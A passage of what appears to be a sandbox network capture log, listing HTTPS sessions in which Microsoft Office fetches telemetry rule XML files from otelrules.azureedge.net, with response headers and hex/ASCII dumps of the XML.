2024-12-03 16:55:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bf56a963-f01e-0096-46b4-4310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165534Z-174f7845968glpgnhC1EWR7uec000000167g00000000z2vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:34 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 709e6de4-501e-00a3-7b5b-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165534Z-174f7845968glpgnhC1EWR7uec00000016a000000000p2k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:34 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: eea98567-901e-007b-3159-44ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165534Z-174f7845968pght8hC1EWRyvxg00000009c000000000ar62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:34 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: b12f5008-901e-002a-4fa2-427a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165535Z-174f7845968zgtf6hC1EWRqd8s0000000z5000000000f2za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:36 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0ad7255b-c01e-00ad-65a2-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165536Z-174f7845968vqt9xhC1EWRgten000000165g00000000rq02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:36 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: b85c3fdb-401e-008c-650e-4586c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165536Z-174f7845968qj8jrhC1EWRh41s000000161000000000y99w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:36 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a8b72aac-901e-005b-059f-432005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165536Z-174f7845968cdxdrhC1EWRg0en000000163000000000qx0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:36 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 49cafdc7-e01e-0085-2718-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165536Z-174f7845968xlwnmhC1EWR0sv8000000161g00000000crad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:37 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6460b669-f01e-00aa-725a-448521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165537Z-174f7845968qj8jrhC1EWRh41s000000163000000000rsxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:38 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 3b4ace6b-101e-0046-10ef-4491b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165538Z-174f7845968ljs8phC1EWRe6en000000160g00000000meud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:38 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c03fc84f-d01e-0065-80f3-44b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165538Z-174f7845968n2hr8hC1EWR9cag00000015xg000000005254 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:38 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ff1e1338-c01e-00a2-7ff2-442327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165538Z-174f7845968cs2nkhC1EWR2tq000000001wg00000000dnt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI 